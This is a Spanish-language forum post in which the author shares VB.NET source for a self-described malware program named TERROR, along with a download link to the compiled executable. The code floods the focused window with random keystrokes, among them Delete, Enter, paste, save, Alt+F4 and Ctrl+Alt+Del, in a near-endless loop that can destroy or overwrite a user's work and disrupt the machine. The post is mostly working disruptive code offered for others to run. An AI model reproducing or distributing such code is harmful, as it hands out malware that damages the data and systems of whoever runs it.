Hola bien pues hice un pequeño code que puede ser dvertido o peligroso si no se le maneja con cuidado al programa lo he llamado TERROR
se que es malware pero no se que tipo alguien save? o sera un nuevo tipo jejejje
si no lo quieren compilar aqui esta la url de descarga http://rapidshare.com/files/99715436/TERROR.exe
se que es malware pero no se que tipo alguien save? o sera un nuevo tipo jejejje
si no lo quieren compilar aqui esta la url de descarga http://rapidshare.com/files/99715436/TERROR.exe
Código (vbnet) [Seleccionar]
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim rnd As New Random
Dim a As Integer
For b = 0 To 999999999999999999
a = rnd.Next(0, 12)
If a = 0 Then
adm()
End If
If a = 1 Then
entrar()
End If
If a = 2 Then
suprimir()
End If
If a = 3 Then
tabs()
End If
If a = 4 Then
inicio()
End If
If a = 5 Then
arriva()
End If
If a = 6 Then
avajo()
End If
If a = 7 Then
derecha()
End If
If a = 8 Then
izquierda()
End If
If a = 9 Then
pegar()
End If
If a = 10 Then
copear()
End If
If a = 11 Then
guardar()
End If
If a = 12 Then
cerrar()
End If
Next
Close()
End Sub
Private Sub tabs()
SendKeys.SendWait("{TAB}")
End Sub
Private Sub entrar()
SendKeys.SendWait("{ENTER}")
End Sub
Private Sub suprimir()
SendKeys.SendWait("{DELETE}")
End Sub
Private Sub inicio()
SendKeys.SendWait("{HOME}")
End Sub
Private Sub arriva()
SendKeys.SendWait("{UP}")
End Sub
Private Sub avajo()
SendKeys.SendWait("{DOWN}")
End Sub
Private Sub derecha()
SendKeys.SendWait("{RIGHT}")
End Sub
Private Sub izquierda()
SendKeys.SendWait("{LEFT}")
End Sub
Private Sub pegar()
SendKeys.SendWait("^v")
End Sub
Private Sub copear()
SendKeys.SendWait("^c")
End Sub
Private Sub guardar()
SendKeys.SendWait("^{g}")
End Sub
Private Sub cerrar()
SendKeys.SendWait("%{f4}")
End Sub
Private Sub adm()
SendKeys.SendWait("^%{DEL}")
End Sub
End Class
